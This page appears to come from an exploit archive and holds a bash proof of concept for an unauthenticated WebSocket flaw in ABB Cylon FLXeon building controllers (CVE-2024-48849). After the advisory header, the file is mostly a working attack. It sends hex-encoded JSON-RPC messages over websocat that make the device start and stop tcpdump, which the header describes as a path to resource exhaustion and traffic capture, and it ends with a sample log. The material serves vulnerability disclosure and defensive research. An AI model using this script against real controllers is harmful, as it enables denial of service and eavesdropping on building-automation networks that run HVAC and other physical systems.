b165516b1b
26 changes to exploits/shellcodes/ghdb ABB Cylon Aspect 3.08.02 - PHP Session Fixation ABB Cylon FLXeon 9.3.4 - Cross-Site Request Forgery ABB Cylon FLXeon 9.3.4 - Default Credentials ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated) ABB Cylon FLXeon 9.3.4 - Remote Code Execution (RCE) ABB Cylon FLXeon 9.3.4 - System Logs Information Disclosure ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning Netman 204 - Remote command without authentication qBittorrent 5.0.1 - MITM RCE CMU CERT/CC VINCE 2.0.6 - Stored XSS CyberPanel 2.3.6 - Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Broken Access Control GeoVision GV-ASManager 6.1.1.0 - CSRF MagnusSolution magnusbilling 7.3.0 - Command Injection Nagios Log Server 2024R1.3.1 - API Key Exposure WebFileSys 2.31.0 - Directory Path Traversal flatCore 1.5 - Cross Site Request Forgery (CSRF) GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection MiniCMS 1.1 - Cross Site Scripting (XSS) NEWS-BUZZ News Management System 1.0 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
131 lines
No EOL
6.5 KiB
Text
131 lines
No EOL
6.5 KiB
Text
# ABB Cylon FLXeon 9.3.4 (wsConnect.js) WebSocket Command Spawning PoC
|
|
# Vendor: ABB Ltd.
|
|
# Product web page: https://www.global.abb
|
|
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
|
|
CBX Series (FLX Series)
|
|
CBT Series
|
|
CBV Series
|
|
Firmware: <=9.3.4
|
|
# Advisory ID: ZSL-2025-5913
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5913.php
|
|
# CVE ID: CVE-2024-48849
|
|
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48849
|
|
|
|
Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
|
|
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
|
|
building management solutions. ABB BACnet controllers are designed for intelligent
|
|
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
|
|
heat pump systems, air handling units (constant volume, variable air volume, and
|
|
multi-zone), rooftop units, electrical systems such as lighting control, variable
|
|
frequency drives and metering.
|
|
|
|
The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
|
|
connectivity and open integration for your building automation systems. It's scalable,
|
|
and modular, allowing you to control a diverse range of HVAC functions.
|
|
|
|
Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an unauthenticated
|
|
WebSocket implementation that allows an attacker to execute the tcpdump command.
|
|
This command captures network traffic and filters it on serial ports 4855 and 4851,
|
|
which are relevant to the device's services. The vulnerability can be exploited in
|
|
a loop to start multiple instances of tcpdump, leading to resource exhaustion, denial
|
|
of service (DoS) conditions, and potential data exfiltration. The lack of authentication
|
|
on the WebSocket interface allows unauthorized users to continuously spawn new tcpdump
|
|
processes, amplifying the attack's impact.
|
|
|
|
Tested on: Linux Kernel 5.4.27
|
|
Linux Kernel 4.15.13
|
|
NodeJS/8.4.0
|
|
Express
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
21.04.2024
|
|
|
|
EOC
|
|
|
|
cat << "EOF"
|
|
|
|
P R O J E C T
|
|
|
|
.|
|
|
| |
|
|
|'| ._____
|
|
___ | | |. |' .---"|
|
|
_ .-' '-. | | .--'| || | _| |
|
|
.-'| _.| | || '-__ | | | || |
|
|
|' | |. | || | | | | || |
|
|
____| '-' ' "" '-' '-.' '` |____
|
|
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░
|
|
░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
|
|
░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░
|
|
|
|
EOF
|
|
echo -ne "\n-------------------------------------------------------"
|
|
echo -ne "\nABB Cylon BACnet Building Controllers WebSocket Exploit"
|
|
echo -ne "\n-------------------------------------------------------\n"
|
|
if [ "$#" -ne 1 ]; then
|
|
echo -ne "\nUsage: $0 [ipaddr]\n\n"
|
|
exit
|
|
fi
|
|
IP=$1
|
|
TARGET="wss://$IP:443/ws"
|
|
PID=$!
|
|
echo "$PID"
|
|
|
|
STOP_SERVICE=`echo -e \
|
|
"\x7B\x22\x74\x61\x72\x67\x65\x74\x22\x3A\x22\x74\x63"\
|
|
"\x70\x64\x75\x6D\x70\x22\x2C\x22\x6D\x65\x74\x68\x6F"\
|
|
"\x64\x22\x3A\x22\x73\x74\x6F\x70\x22\x2C\x22\x70\x61"\
|
|
"\x72\x61\x6D\x73\x22\x3A\x7B\x22\x74\x79\x70\x65\x22"\
|
|
"\x3A\x22\x73\x6D\x61\x72\x74\x52\x6F\x75\x74\x65\x72"\
|
|
"\x22\x2C\x22\x6D\x69\x6E\x75\x74\x65\x73\x22\x3A\x31"\
|
|
"\x2C\x22\x73\x69\x7A\x65\x4B\x62\x22\x3A\x31\x30\x7D"\
|
|
"\x7D"` #stop tcpdump smartRouter capture
|
|
|
|
START_SERVICE=`echo -e \
|
|
"\x7B\x22\x74\x61\x72\x67\x65\x74\x22\x3A\x22\x74\x63"\
|
|
"\x70\x64\x75\x6D\x70\x22\x2C\x22\x6D\x65\x74\x68\x6F"\
|
|
"\x64\x22\x3A\x22\x73\x74\x61\x72\x74\x22\x2C\x22\x70"\
|
|
"\x61\x72\x61\x6D\x73\x22\x3A\x7B\x22\x74\x79\x70\x65"\
|
|
"\x22\x3A\x22\x73\x6D\x61\x72\x74\x52\x6F\x75\x74\x65"\
|
|
"\x72\x22\x2C\x22\x6D\x69\x6E\x75\x74\x65\x73\x22\x3A"\
|
|
"\x31\x2C\x22\x73\x69\x7A\x65\x4B\x62\x22\x3A\x31\x30"\
|
|
"\x7D\x7D"` #start tcpdump smartRouter capture
|
|
|
|
echo -e "\n[+] Sending JSONRPC => $START_SERVICE\n"
|
|
sleep 1
|
|
echo "$START_SERVICE"|
|
|
websocat --insecure --one-message --buffer-size 251 --no-close "$TARGET" -v
|
|
sleep 2
|
|
echo -e "\n[+] Sending JSONRPC => $STOP_SERVICE\n"
|
|
sleep 1
|
|
echo "$STOP_SERVICE"|
|
|
websocat -k -1 -B 251 -n "$TARGET" -v
|
|
echo -e "\n[*] Done"
|
|
|
|
<< "LOG"
|
|
$ cd /usr/local/aam/var; journalctl -r --no-hostname --no-pager >log.txt; split -n 4 log.txt
|
|
$ cat /usr/local/aam/var/xaa
|
|
$ cat /usr/local/aam/var/xab
|
|
$ cat /usr/local/aam/var/xac
|
|
$ cat /usr/local/aam/var/xad
|
|
...
|
|
#Apr 21 23:12:51 kernel: device lo left promiscuous mode
|
|
#Apr 21 23:12:34 kernel: device lo entered promiscuous mode
|
|
#Apr 21 23:12:34 node[196]: ws connect
|
|
...
|
|
LOG |